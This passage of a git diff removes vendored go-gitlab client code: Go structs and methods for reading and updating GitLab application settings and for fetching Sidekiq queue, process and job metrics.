DiffMaxPatchBytes int `json:"diff_max_patch_bytes"` - DisabledOauthSignInSources []string `json:"disabled_oauth_sign_in_sources"` - DNSRebindingProtectionEnabled bool `json:"dns_rebinding_protection_enabled"` - DomainBlacklist []string `json:"domain_blacklist"` - DomainBlacklistEnabled bool `json:"domain_blacklist_enabled"` - DomainWhitelist []string `json:"domain_whitelist"` - DSAKeyRestriction int `json:"dsa_key_restriction"` - ECDSAKeyRestriction int `json:"ecdsa_key_restriction"` - Ed25519KeyRestriction int `json:"ed25519_key_restriction"` - ElasticsearchAWSAccessKey string `json:"elasticsearch_aws_access_key"` - ElasticsearchAWS bool `json:"elasticsearch_aws"` - ElasticsearchAWSRegion string `json:"elasticsearch_aws_region"` - ElasticsearchAWSSecretAccessKey string `json:"elasticsearch_aws_secret_access_key"` - ElasticsearchIndexing bool `json:"elasticsearch_indexing"` - ElasticsearchLimitIndexing bool `json:"elasticsearch_limit_indexing"` - ElasticsearchNamespaceIDs []int `json:"elasticsearch_namespace_ids"` - ElasticsearchProjectIDs []int `json:"elasticsearch_project_ids"` - ElasticsearchSearch bool `json:"elasticsearch_search"` - ElasticsearchURL []string `json:"elasticsearch_url"` - EmailAdditionalText string `json:"email_additional_text"` - EmailAuthorInBody bool `json:"email_author_in_body"` - EnabledGitAccessProtocol string `json:"enabled_git_access_protocol"` - EnforceTerms bool `json:"enforce_terms"` - ExternalAuthClientCert string `json:"external_auth_client_cert"` - ExternalAuthClientKeyPass string `json:"external_auth_client_key_pass"` - ExternalAuthClientKey string `json:"external_auth_client_key"` - ExternalAuthorizationServiceDefaultLabel string `json:"external_authorization_service_default_label"` - ExternalAuthorizationServiceEnabled bool `json:"external_authorization_service_enabled"` - ExternalAuthorizationServiceTimeout float64 `json:"external_authorization_service_timeout"` - ExternalAuthorizationServiceURL string `json:"external_authorization_service_url"` - FileTemplateProjectID int `json:"file_template_project_id"` - FirstDayOfWeek int `json:"first_day_of_week"` - GeoNodeAllowedIPs string `json:"geo_node_allowed_ips"` - GeoStatusTimeout int `json:"geo_status_timeout"` - GitalyTimeoutDefault int `json:"gitaly_timeout_default"` - GitalyTimeoutFast int `json:"gitaly_timeout_fast"` - GitalyTimeoutMedium int `json:"gitaly_timeout_medium"` - GrafanaEnabled bool `json:"grafana_enabled"` - GrafanaURL string `json:"grafana_url"` - GravatarEnabled bool `json:"gravatar_enabled"` - HashedStorageEnabled bool `json:"hashed_storage_enabled"` - HelpPageHideCommercialContent bool `json:"help_page_hide_commercial_content"` - HelpPageSupportURL string `json:"help_page_support_url"` - HelpPageText string `json:"help_page_text"` - HelpText string `json:"help_text"` - HideThirdPartyOffers bool `json:"hide_third_party_offers"` - HomePageURL string `json:"home_page_url"` - HousekeepingBitmapsEnabled bool `json:"housekeeping_bitmaps_enabled"` - HousekeepingEnabled bool `json:"housekeeping_enabled"` - HousekeepingFullRepackPeriod int `json:"housekeeping_full_repack_period"` - HousekeepingGcPeriod int `json:"housekeeping_gc_period"` - HousekeepingIncrementalRepackPeriod int `json:"housekeeping_incremental_repack_period"` - HTMLEmailsEnabled bool `json:"html_emails_enabled"` - ImportSources []string `json:"import_sources"` - InstanceStatisticsVisibilityPrivate bool `json:"instance_statistics_visibility_private"` - LocalMarkdownVersion int `json:"local_markdown_version"` - MaxArtifactsSize int `json:"max_artifacts_size"` - MaxAttachmentSize int `json:"max_attachment_size"` - MaxPagesSize int `json:"max_pages_size"` - MetricsEnabled bool `json:"metrics_enabled"` - MetricsHost string `json:"metrics_host"` - MetricsMethodCallThreshold int `json:"metrics_method_call_threshold"` - MetricsPacketSize int `json:"metrics_packet_size"` - MetricsPoolSize int `json:"metrics_pool_size"` - MetricsPort int `json:"metrics_port"` - MetricsSampleInterval int `json:"metrics_sample_interval"` - MetricsTimeout int `json:"metrics_timeout"` - MirrorAvailable bool `json:"mirror_available"` - MirrorCapacityThreshold int `json:"mirror_capacity_threshold"` - MirrorMaxCapacity int `json:"mirror_max_capacity"` - MirrorMaxDelay int `json:"mirror_max_delay"` - OutboundLocalRequestsWhitelist []string `json:"outbound_local_requests_whitelist"` - PagesDomainVerificationEnabled bool `json:"pages_domain_verification_enabled"` - PasswordAuthenticationEnabledForGit bool `json:"password_authentication_enabled_for_git"` - PasswordAuthenticationEnabledForWeb bool `json:"password_authentication_enabled_for_web"` - PerformanceBarAllowedGroupID string `json:"performance_bar_allowed_group_id"` - PerformanceBarAllowedGroupPath string `json:"performance_bar_allowed_group_path"` - PerformanceBarEnabled bool `json:"performance_bar_enabled"` - PlantumlEnabled bool `json:"plantuml_enabled"` - PlantumlURL string `json:"plantuml_url"` - PollingIntervalMultiplier float64 `json:"polling_interval_multiplier,string"` - ProjectExportEnabled bool `json:"project_export_enabled"` - PrometheusMetricsEnabled bool `json:"prometheus_metrics_enabled"` - ProtectedCIVariables bool `json:"protected_ci_variables"` - PseudonymizerEnabled bool `json:"psedonymizer_enabled"` - PushEventHooksLimit int `json:"push_event_hooks_limit"` - PushEventActivitiesLimit int `json:"push_event_activities_limit"` - RecaptchaEnabled bool `json:"recaptcha_enabled"` - RecaptchaPrivateKey string `json:"recaptcha_private_key"` - RecaptchaSiteKey string `json:"recaptcha_site_key"` - ReceiveMaxInputSize int `json:"receive_max_input_size"` - RepositoryChecksEnabled bool `json:"repository_checks_enabled"` - RepositorySizeLimit int `json:"repository_size_limit"` - RepositoryStorages []string `json:"repository_storages"` - RequireTwoFactorAuthentication bool `json:"require_two_factor_authentication"` - RestrictedVisibilityLevels []VisibilityValue `json:"restricted_visibility_levels"` - RsaKeyRestriction int `json:"rsa_key_restriction"` - SendUserConfirmationEmail bool `json:"send_user_confirmation_email"` - SessionExpireDelay int `json:"session_expire_delay"` - SharedRunnersEnabled bool `json:"shared_runners_enabled"` - SharedRunnersMinutes int `json:"shared_runners_minutes"` - SharedRunnersText string `json:"shared_runners_text"` - SignInText string `json:"sign_in_text"` - SignupEnabled bool `json:"signup_enabled"` - SlackAppEnabled bool `json:"slack_app_enabled"` - SlackAppID string `json:"slack_app_id"` - SlackAppSecret string `json:"slack_app_secret"` - SlackAppVerificationToken string `json:"slack_app_verification_token"` - SnowplowCollectorHostname string `json:"snowplow_collector_hostname"` - SnowplowCookieDomain string `json:"snowplow_cookie_domain"` - SnowplowEnabled bool `json:"snowplow_enabled"` - SnowplowSiteID string `json:"snowplow_site_id"` - TerminalMaxSessionTime int `json:"terminal_max_session_time"` - Terms string `json:"terms"` - ThrottleAuthenticatedAPIEnabled bool `json:"throttle_authenticated_api_enabled"` - ThrottleAuthenticatedAPIPeriodInSeconds int `json:"throttle_authenticated_api_period_in_seconds"` - ThrottleAuthenticatedAPIRequestsPerPeriod int `json:"throttle_authenticated_api_requests_per_period"` - ThrottleAuthenticatedWebEnabled bool `json:"throttle_authenticated_web_enabled"` - ThrottleAuthenticatedWebPeriodInSeconds int `json:"throttle_authenticated_web_period_in_seconds"` - ThrottleAuthenticatedWebRequestsPerPeriod int `json:"throttle_authenticated_web_requests_per_period"` - ThrottleUnauthenticatedEnabled bool `json:"throttle_unauthenticated_enabled"` - ThrottleUnauthenticatedPeriodInSeconds int `json:"throttle_unauthenticated_period_in_seconds"` - ThrottleUnauthenticatedRequestsPerPeriod int `json:"throttle_unauthenticated_requests_per_period"` - TimeTrackingLimitToHours bool `json:"time_tracking_limit_to_hours"` - TwoFactorGracePeriod int `json:"two_factor_grace_period"` - UniqueIPsLimitEnabled bool `json:"unique_ips_limit_enabled"` - UniqueIPsLimitPerUser int `json:"unique_ips_limit_per_user"` - UniqueIPsLimitTimeWindow int `json:"unique_ips_limit_time_window"` - UsagePingEnabled bool `json:"usage_ping_enabled"` - UserDefaultExternal bool `json:"user_default_external"` - UserDefaultInternalRegex string `json:"user_default_internal_regex"` - UserOauthApplications bool `json:"user_oauth_applications"` - UserShowAddSSHKeyMessage bool `json:"user_show_add_ssh_key_message"` - VersionCheckEnabled bool `json:"version_check_enabled"` - WebIDEClientsidePreviewEnabled bool `json:"web_ide_clientside_preview_enabled"` -} - -func (s Settings) String() string { - return Stringify(s) -} - -// GetSettings gets the current application settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/settings.html#get-current-application.settings -func (s *SettingsService) GetSettings(options ...RequestOptionFunc) (*Settings, *Response, error) { - req, err := s.client.NewRequest("GET", "application/settings", nil, options) - if err != nil { - return nil, nil, err - } - - as := new(Settings) - resp, err := s.client.Do(req, as) - if err != nil { - return nil, resp, err - } - - return as, resp, err -} - -// UpdateSettingsOptions represents the available UpdateSettings() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/settings.html#change-application.settings -type UpdateSettingsOptions struct { - AdminNotificationEmail *string `url:"admin_notification_email,omitempty" json:"admin_notification_email,omitempty"` - AfterSignOutPath *string `url:"after_sign_out_path,omitempty" json:"after_sign_out_path,omitempty"` - AfterSignUpText *string `url:"after_sign_up_text,omitempty" json:"after_sign_up_text,omitempty"` - AkismetAPIKey *string `url:"akismet_api_key,omitempty" json:"akismet_api_key,omitempty"` - AkismetEnabled *bool `url:"akismet_enabled,omitempty" json:"akismet_enabled,omitempty"` - AllowGroupOwnersToManageLDAP *bool `url:"allow_group_owners_to_manage_ldap,omitempty" json:"allow_group_owners_to_manage_ldap,omitempty"` - AllowLocalRequestsFromHooksAndServices *bool `url:"allow_local_requests_from_hooks_and_services,omitempty" json:"allow_local_requests_from_hooks_and_services,omitempty"` - AllowLocalRequestsFromSystemHooks *bool `url:"allow_local_requests_from_system_hooks,omitempty" json:"allow_local_requests_from_system_hooks,omitempty"` - AllowLocalRequestsFromWebHooksAndServices *bool `url:"allow_local_requests_from_web_hooks_and_services,omitempty" json:"allow_local_requests_from_web_hooks_and_services,omitempty"` - ArchiveBuildsInHumanReadable *string `url:"archive_builds_in_human_readable,omitempty" json:"archive_builds_in_human_readable,omitempty"` - AssetProxyEnabled *bool `url:"asset_proxy_enabled,omitempty" json:"asset_proxy_enabled,omitempty"` - AssetProxySecretKey *string `url:"asset_proxy_secret_key,omitempty" json:"asset_proxy_secret_key,omitempty"` - AssetProxyURL *string `url:"asset_proxy_url,omitempty" json:"asset_proxy_url,omitempty"` - AssetProxyWhitelist []string `url:"asset_proxy_whitelist,omitempty" json:"asset_proxy_whitelist,omitempty"` - AuthorizedKeysEnabled *bool `url:"authorized_keys_enabled,omitempty" json:"authorized_keys_enabled,omitempty"` - AutoDevOpsDomain *string `url:"auto_devops_domain,omitempty" json:"auto_devops_domain,omitempty"` - AutoDevOpsEnabled *bool `url:"auto_devops_enabled,omitempty" json:"auto_devops_enabled,omitempty"` - CheckNamespacePlan *bool `url:"check_namespace_plan,omitempty" json:"check_namespace_plan,omitempty"` - CommitEmailHostname *string `url:"commit_email_hostname,omitempty" json:"commit_email_hostname,omitempty"` - ContainerRegistryTokenExpireDelay *int `url:"container_registry_token_expire_delay,omitempty" json:"container_registry_token_expire_delay,omitempty"` - DefaultArtifactsExpireIn *string `url:"default_artifacts_expire_in,omitempty" json:"default_artifacts_expire_in,omitempty"` - DefaultBranchProtection *int `url:"default_branch_protection,omitempty" json:"default_branch_protection,omitempty"` - DefaultGroupVisibility *VisibilityValue `url:"default_group_visibility,omitempty" json:"default_group_visibility,omitempty"` - DefaultProjectCreation *int `url:"default_project_creation,omitempty" json:"default_project_creation,omitempty"` - DefaultProjectsLimit *int `url:"default_projects_limit,omitempty" json:"default_projects_limit,omitempty"` - DefaultProjectVisibility *VisibilityValue `url:"default_project_visibility,omitempty" json:"default_project_visibility,omitempty"` - DefaultSnippetVisibility *VisibilityValue `url:"default_snippet_visibility,omitempty" json:"default_snippet_visibility,omitempty"` - DiffMaxPatchBytes *int `url:"diff_max_patch_bytes,omitempty" json:"diff_max_patch_bytes,omitempty"` - DisabledOauthSignInSources []string `url:"disabled_oauth_sign_in_sources,omitempty" json:"disabled_oauth_sign_in_sources,omitempty"` - DNSRebindingProtectionEnabled *bool `url:"dns_rebinding_protection_enabled,omitempty" json:"dns_rebinding_protection_enabled,omitempty"` - DomainBlacklist []string `url:"domain_blacklist,omitempty" json:"domain_blacklist,omitempty"` - DomainBlacklistEnabled *bool `url:"domain_blacklist_enabled,omitempty" json:"domain_blacklist_enabled,omitempty"` - DomainWhitelist []string `url:"domain_whitelist,omitempty" json:"domain_whitelist,omitempty"` - DSAKeyRestriction *int `url:"dsa_key_restriction,omitempty" json:"dsa_key_restriction,omitempty"` - ECDSAKeyRestriction *int `url:"ecdsa_key_restriction,omitempty" json:"ecdsa_key_restriction,omitempty"` - Ed25519KeyRestriction *int `url:"ed25519_key_restriction,omitempty" json:"ed25519_key_restriction,omitempty"` - ElasticsearchAWSAccessKey *string `url:"elasticsearch_aws_access_key,omitempty" json:"elasticsearch_aws_access_key,omitempty"` - ElasticsearchAWS *bool `url:"elasticsearch_aws,omitempty" json:"elasticsearch_aws,omitempty"` - ElasticsearchAWSRegion *string `url:"elasticsearch_aws_region,omitempty" json:"elasticsearch_aws_region,omitempty"` - ElasticsearchAWSSecretAccessKey *string `url:"elasticsearch_aws_secret_access_key,omitempty" json:"elasticsearch_aws_secret_access_key,omitempty"` - ElasticsearchIndexing *bool `url:"elasticsearch_indexing,omitempty" json:"elasticsearch_indexing,omitempty"` - ElasticsearchLimitIndexing *bool `url:"elasticsearch_limit_indexing,omitempty" json:"elasticsearch_limit_indexing,omitempty"` - ElasticsearchNamespaceIDs []int `url:"elasticsearch_namespace_ids,omitempty" json:"elasticsearch_namespace_ids,omitempty"` - ElasticsearchProjectIDs []int `url:"elasticsearch_project_ids,omitempty" json:"elasticsearch_project_ids,omitempty"` - ElasticsearchSearch *bool `url:"elasticsearch_search,omitempty" json:"elasticsearch_search,omitempty"` - ElasticsearchURL *string `url:"elasticsearch_url,omitempty" json:"elasticsearch_url,omitempty"` - EmailAdditionalText *string `url:"email_additional_text,omitempty" json:"email_additional_text,omitempty"` - EmailAuthorInBody *bool `url:"email_author_in_body,omitempty" json:"email_author_in_body,omitempty"` - EnabledGitAccessProtocol *string `url:"enabled_git_access_protocol,omitempty" json:"enabled_git_access_protocol,omitempty"` - EnforceTerms *bool `url:"enforce_terms,omitempty" json:"enforce_terms,omitempty"` - ExternalAuthClientCert *string `url:"external_auth_client_cert,omitempty" json:"external_auth_client_cert,omitempty"` - ExternalAuthClientKeyPass *string `url:"external_auth_client_key_pass,omitempty" json:"external_auth_client_key_pass,omitempty"` - ExternalAuthClientKey *string `url:"external_auth_client_key,omitempty" json:"external_auth_client_key,omitempty"` - ExternalAuthorizationServiceDefaultLabel *string `url:"external_authorization_service_default_label,omitempty" json:"external_authorization_service_default_label,omitempty"` - ExternalAuthorizationServiceEnabled *bool `url:"external_authorization_service_enabled,omitempty" json:"external_authorization_service_enabled,omitempty"` - ExternalAuthorizationServiceTimeout *float64 `url:"external_authorization_service_timeout,omitempty" json:"external_authorization_service_timeout,omitempty"` - ExternalAuthorizationServiceURL *string `url:"external_authorization_service_url,omitempty" json:"external_authorization_service_url,omitempty"` - FileTemplateProjectID *int `url:"file_template_project_id,omitempty" json:"file_template_project_id,omitempty"` - FirstDayOfWeek *int `url:"first_day_of_week,omitempty" json:"first_day_of_week,omitempty"` - GeoNodeAllowedIPs *string `url:"geo_node_allowed_ips,omitempty" json:"geo_node_allowed_ips,omitempty"` - GeoStatusTimeout *int `url:"geo_status_timeout,omitempty" json:"geo_status_timeout,omitempty"` - GitalyTimeoutDefault *int `url:"gitaly_timeout_default,omitempty" json:"gitaly_timeout_default,omitempty"` - GitalyTimeoutFast *int `url:"gitaly_timeout_fast,omitempty" json:"gitaly_timeout_fast,omitempty"` - GitalyTimeoutMedium *int `url:"gitaly_timeout_medium,omitempty" json:"gitaly_timeout_medium,omitempty"` - GrafanaEnabled *bool `url:"grafana_enabled,omitempty" json:"grafana_enabled,omitempty"` - GrafanaURL *string `url:"grafana_url,omitempty" json:"grafana_url,omitempty"` - GravatarEnabled *bool `url:"gravatar_enabled,omitempty" json:"gravatar_enabled,omitempty"` - HashedStorageEnabled *bool `url:"hashed_storage_enabled,omitempty" json:"hashed_storage_enabled,omitempty"` - HelpPageHideCommercialContent *bool `url:"help_page_hide_commercial_content,omitempty" json:"help_page_hide_commercial_content,omitempty"` - HelpPageSupportURL *string `url:"help_page_support_url,omitempty" json:"help_page_support_url,omitempty"` - HelpPageText *string `url:"help_page_text,omitempty" json:"help_page_text,omitempty"` - HelpText *string `url:"help_text,omitempty" json:"help_text,omitempty"` - HideThirdPartyOffers *bool `url:"hide_third_party_offers,omitempty" json:"hide_third_party_offers,omitempty"` - HomePageURL *string `url:"home_page_url,omitempty" json:"home_page_url,omitempty"` - HousekeepingBitmapsEnabled *bool `url:"housekeeping_bitmaps_enabled,omitempty" json:"housekeeping_bitmaps_enabled,omitempty"` - HousekeepingEnabled *bool `url:"housekeeping_enabled,omitempty" json:"housekeeping_enabled,omitempty"` - HousekeepingFullRepackPeriod *int `url:"housekeeping_full_repack_period,omitempty" json:"housekeeping_full_repack_period,omitempty"` - HousekeepingGcPeriod *int `url:"housekeeping_gc_period,omitempty" json:"housekeeping_gc_period,omitempty"` - HousekeepingIncrementalRepackPeriod *int `url:"housekeeping_incremental_repack_period,omitempty" json:"housekeeping_incremental_repack_period,omitempty"` - HTMLEmailsEnabled *bool `url:"html_emails_enabled,omitempty" json:"html_emails_enabled,omitempty"` - ImportSources []string `url:"import_sources,omitempty" json:"import_sources,omitempty"` - InstanceStatisticsVisibilityPrivate *bool `url:"instance_statistics_visibility_private,omitempty" json:"instance_statistics_visibility_private,omitempty"` - LocalMarkdownVersion *int `url:"local_markdown_version,omitempty" json:"local_markdown_version,omitempty"` - MaxArtifactsSize *int `url:"max_artifacts_size,omitempty" json:"max_artifacts_size,omitempty"` - MaxAttachmentSize *int `url:"max_attachment_size,omitempty" json:"max_attachment_size,omitempty"` - MaxPagesSize *int `url:"max_pages_size,omitempty" json:"max_pages_size,omitempty"` - MetricsEnabled *bool `url:"metrics_enabled,omitempty" json:"metrics_enabled,omitempty"` - MetricsHost *string `url:"metrics_host,omitempty" json:"metrics_host,omitempty"` - MetricsMethodCallThreshold *int `url:"metrics_method_call_threshold,omitempty" json:"metrics_method_call_threshold,omitempty"` - MetricsPacketSize *int `url:"metrics_packet_size,omitempty" json:"metrics_packet_size,omitempty"` - MetricsPoolSize *int `url:"metrics_pool_size,omitempty" json:"metrics_pool_size,omitempty"` - MetricsPort *int `url:"metrics_port,omitempty" json:"metrics_port,omitempty"` - MetricsSampleInterval *int `url:"metrics_sample_interval,omitempty" json:"metrics_sample_interval,omitempty"` - MetricsTimeout *int `url:"metrics_timeout,omitempty" json:"metrics_timeout,omitempty"` - MirrorAvailable *bool `url:"mirror_available,omitempty" json:"mirror_available,omitempty"` - MirrorCapacityThreshold *int `url:"mirror_capacity_threshold,omitempty" json:"mirror_capacity_threshold,omitempty"` - MirrorMaxCapacity *int `url:"mirror_max_capacity,omitempty" json:"mirror_max_capacity,omitempty"` - MirrorMaxDelay *int `url:"mirror_max_delay,omitempty" json:"mirror_max_delay,omitempty"` - OutboundLocalRequestsWhitelist []string `url:"outbound_local_requests_whitelist,omitempty" json:"outbound_local_requests_whitelist,omitempty"` - PagesDomainVerificationEnabled *bool `url:"pages_domain_verification_enabled,omitempty" json:"pages_domain_verification_enabled,omitempty"` - PasswordAuthenticationEnabledForGit *bool `url:"password_authentication_enabled_for_git,omitempty" json:"password_authentication_enabled_for_git,omitempty"` - PasswordAuthenticationEnabledForWeb *bool `url:"password_authentication_enabled_for_web,omitempty" json:"password_authentication_enabled_for_web,omitempty"` - PerformanceBarAllowedGroupID *string `url:"performance_bar_allowed_group_id,omitempty" json:"performance_bar_allowed_group_id,omitempty"` - PerformanceBarAllowedGroupPath *string `url:"performance_bar_allowed_group_path,omitempty" json:"performance_bar_allowed_group_path,omitempty"` - PerformanceBarEnabled *bool `url:"performance_bar_enabled,omitempty" json:"performance_bar_enabled,omitempty"` - PlantumlEnabled *bool `url:"plantuml_enabled,omitempty" json:"plantuml_enabled,omitempty"` - PlantumlURL *string `url:"plantuml_url,omitempty" json:"plantuml_url,omitempty"` - PollingIntervalMultiplier *float64 `url:"polling_interval_multiplier,omitempty" json:"polling_interval_multiplier,omitempty"` - ProjectExportEnabled *bool `url:"project_export_enabled,omitempty" json:"project_export_enabled,omitempty"` - PrometheusMetricsEnabled *bool `url:"prometheus_metrics_enabled,omitempty" json:"prometheus_metrics_enabled,omitempty"` - ProtectedCIVariables *bool `url:"protected_ci_variables,omitempty" json:"protected_ci_variables,omitempty"` - PseudonymizerEnabled *bool `url:"psedonymizer_enabled,omitempty" json:"psedonymizer_enabled,omitempty"` - PushEventHooksLimit *int `url:"push_event_hooks_limit,omitempty" json:"push_event_hooks_limit,omitempty"` - PushEventActivitiesLimit *int `url:"push_event_activities_limit,omitempty" json:"push_event_activities_limit,omitempty"` - RecaptchaEnabled *bool `url:"recaptcha_enabled,omitempty" json:"recaptcha_enabled,omitempty"` - RecaptchaPrivateKey *string `url:"recaptcha_private_key,omitempty" json:"recaptcha_private_key,omitempty"` - RecaptchaSiteKey *string `url:"recaptcha_site_key,omitempty" json:"recaptcha_site_key,omitempty"` - ReceiveMaxInputSize *int `url:"receive_max_input_size,omitempty" json:"receive_max_input_size,omitempty"` - RepositoryChecksEnabled *bool `url:"repository_checks_enabled,omitempty" json:"repository_checks_enabled,omitempty"` - RepositorySizeLimit *int `url:"repository_size_limit,omitempty" json:"repository_size_limit,omitempty"` - RepositoryStorages []string `url:"repository_storages,omitempty" json:"repository_storages,omitempty"` - RequireTwoFactorAuthentication *bool `url:"require_two_factor_authentication,omitempty" json:"require_two_factor_authentication,omitempty"` - RestrictedVisibilityLevels []VisibilityValue `url:"restricted_visibility_levels,omitempty" json:"restricted_visibility_levels,omitempty"` - RsaKeyRestriction *int `url:"rsa_key_restriction,omitempty" json:"rsa_key_restriction,omitempty"` - SendUserConfirmationEmail *bool `url:"send_user_confirmation_email,omitempty" json:"send_user_confirmation_email,omitempty"` - SessionExpireDelay *int `url:"session_expire_delay,omitempty" json:"session_expire_delay,omitempty"` - SharedRunnersEnabled *bool `url:"shared_runners_enabled,omitempty" json:"shared_runners_enabled,omitempty"` - SharedRunnersMinutes *int `url:"shared_runners_minutes,omitempty" json:"shared_runners_minutes,omitempty"` - SharedRunnersText *string `url:"shared_runners_text,omitempty" json:"shared_runners_text,omitempty"` - SignInText *string `url:"sign_in_text,omitempty" json:"sign_in_text,omitempty"` - SignupEnabled *bool `url:"signup_enabled,omitempty" json:"signup_enabled,omitempty"` - SlackAppEnabled *bool `url:"slack_app_enabled,omitempty" json:"slack_app_enabled,omitempty"` - SlackAppID *string `url:"slack_app_id,omitempty" json:"slack_app_id,omitempty"` - SlackAppSecret *string `url:"slack_app_secret,omitempty" json:"slack_app_secret,omitempty"` - SlackAppVerificationToken *string `url:"slack_app_verification_token,omitempty" json:"slack_app_verification_token,omitempty"` - SnowplowCollectorHostname *string `url:"snowplow_collector_hostname,omitempty" json:"snowplow_collector_hostname,omitempty"` - SnowplowCookieDomain *string `url:"snowplow_cookie_domain,omitempty" json:"snowplow_cookie_domain,omitempty"` - SnowplowEnabled *bool `url:"snowplow_enabled,omitempty" json:"snowplow_enabled,omitempty"` - SnowplowSiteID *string `url:"snowplow_site_id,omitempty" json:"snowplow_site_id,omitempty"` - TerminalMaxSessionTime *int `url:"terminal_max_session_time,omitempty" json:"terminal_max_session_time,omitempty"` - Terms *string `url:"terms,omitempty" json:"terms,omitempty"` - ThrottleAuthenticatedAPIEnabled *bool `url:"throttle_authenticated_api_enabled,omitempty" json:"throttle_authenticated_api_enabled,omitempty"` - ThrottleAuthenticatedAPIPeriodInSeconds *int `url:"throttle_authenticated_api_period_in_seconds,omitempty" json:"throttle_authenticated_api_period_in_seconds,omitempty"` - ThrottleAuthenticatedAPIRequestsPerPeriod *int `url:"throttle_authenticated_api_requests_per_period,omitempty" json:"throttle_authenticated_api_requests_per_period,omitempty"` - ThrottleAuthenticatedWebEnabled *bool `url:"throttle_authenticated_web_enabled,omitempty" json:"throttle_authenticated_web_enabled,omitempty"` - ThrottleAuthenticatedWebPeriodInSeconds *int `url:"throttle_authenticated_web_period_in_seconds,omitempty" json:"throttle_authenticated_web_period_in_seconds,omitempty"` - ThrottleAuthenticatedWebRequestsPerPeriod *int `url:"throttle_authenticated_web_requests_per_period,omitempty" json:"throttle_authenticated_web_requests_per_period,omitempty"` - ThrottleUnauthenticatedEnabled *bool `url:"throttle_unauthenticated_enabled,omitempty" json:"throttle_unauthenticated_enabled,omitempty"` - ThrottleUnauthenticatedPeriodInSeconds *int `url:"throttle_unauthenticated_period_in_seconds,omitempty" json:"throttle_unauthenticated_period_in_seconds,omitempty"` - ThrottleUnauthenticatedRequestsPerPeriod *int `url:"throttle_unauthenticated_requests_per_period,omitempty" json:"throttle_unauthenticated_requests_per_period,omitempty"` - TimeTrackingLimitToHours *bool `url:"time_tracking_limit_to_hours,omitempty" json:"time_tracking_limit_to_hours,omitempty"` - TwoFactorGracePeriod *int `url:"two_factor_grace_period,omitempty" json:"two_factor_grace_period,omitempty"` - UniqueIPsLimitEnabled *bool `url:"unique_ips_limit_enabled,omitempty" json:"unique_ips_limit_enabled,omitempty"` - UniqueIPsLimitPerUser *int `url:"unique_ips_limit_per_user,omitempty" json:"unique_ips_limit_per_user,omitempty"` - UniqueIPsLimitTimeWindow *int `url:"unique_ips_limit_time_window,omitempty" json:"unique_ips_limit_time_window,omitempty"` - UsagePingEnabled *bool `url:"usage_ping_enabled,omitempty" json:"usage_ping_enabled,omitempty"` - UserDefaultExternal *bool `url:"user_default_external,omitempty" json:"user_default_external,omitempty"` - UserDefaultInternalRegex *string `url:"user_default_internal_regex,omitempty" json:"user_default_internal_regex,omitempty"` - UserOauthApplications *bool `url:"user_oauth_applications,omitempty" json:"user_oauth_applications,omitempty"` - UserShowAddSSHKeyMessage *bool `url:"user_show_add_ssh_key_message,omitempty" json:"user_show_add_ssh_key_message,omitempty"` - VersionCheckEnabled *bool `url:"version_check_enabled,omitempty" json:"version_check_enabled,omitempty"` - WebIDEClientsidePreviewEnabled *bool `url:"web_ide_clientside_preview_enabled,omitempty" json:"web_ide_clientside_preview_enabled,omitempty"` -} - -// UpdateSettings updates the application settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/settings.html#change-application.settings -func (s *SettingsService) UpdateSettings(opt *UpdateSettingsOptions, options ...RequestOptionFunc) (*Settings, *Response, error) { - req, err := s.client.NewRequest("PUT", "application/settings", opt, options) - if err != nil { - return nil, nil, err - } - - as := new(Settings) - resp, err := s.client.Do(req, as) - if err != nil { - return nil, resp, err - } - - return as, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/sidekiq_metrics.go b/vendor/github.com/xanzy/go-gitlab/sidekiq_metrics.go deleted file mode 100644 index 45c205d9af..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/sidekiq_metrics.go +++ /dev/null @@ -1,154 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import "time" - -// SidekiqService handles communication with the sidekiq service -// -// GitLab API docs: https://docs.gitlab.com/ce/api/sidekiq_metrics.html -type SidekiqService struct { - client *Client -} - -// QueueMetrics represents the GitLab sidekiq queue metrics. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-queue-metrics -type QueueMetrics struct { - Queues map[string]struct { - Backlog int `json:"backlog"` - Latency int `json:"latency"` - } `json:"queues"` -} - -// GetQueueMetrics lists information about all the registered queues, -// their backlog and their latency. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-queue-metrics -func (s *SidekiqService) GetQueueMetrics(options ...RequestOptionFunc) (*QueueMetrics, *Response, error) { - req, err := s.client.NewRequest("GET", "/sidekiq/queue_metrics", nil, options) - if err != nil { - return nil, nil, err - } - - q := new(QueueMetrics) - resp, err := s.client.Do(req, q) - if err != nil { - return nil, resp, err - } - - return q, resp, err -} - -// ProcessMetrics represents the GitLab sidekiq process metrics. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-process-metrics -type ProcessMetrics struct { - Processes []struct { - Hostname string `json:"hostname"` - Pid int `json:"pid"` - Tag string `json:"tag"` - StartedAt *time.Time `json:"started_at"` - Queues []string `json:"queues"` - Labels []string `json:"labels"` - Concurrency int `json:"concurrency"` - Busy int `json:"busy"` - } `json:"processes"` -} - -// GetProcessMetrics lists information about all the Sidekiq workers registered -// to process your queues. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-process-metrics -func (s *SidekiqService) GetProcessMetrics(options ...RequestOptionFunc) (*ProcessMetrics, *Response, error) { - req, err := s.client.NewRequest("GET", "/sidekiq/process_metrics", nil, options) - if err != nil { - return nil, nil, err - } - - p := new(ProcessMetrics) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// JobStats represents the GitLab sidekiq job stats. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-job-statistics -type JobStats struct { - Jobs struct { - Processed int `json:"processed"` - Failed int `json:"failed"` - Enqueued int `json:"enqueued"` - } `json:"jobs"` -} - -// GetJobStats list information about the jobs that Sidekiq has 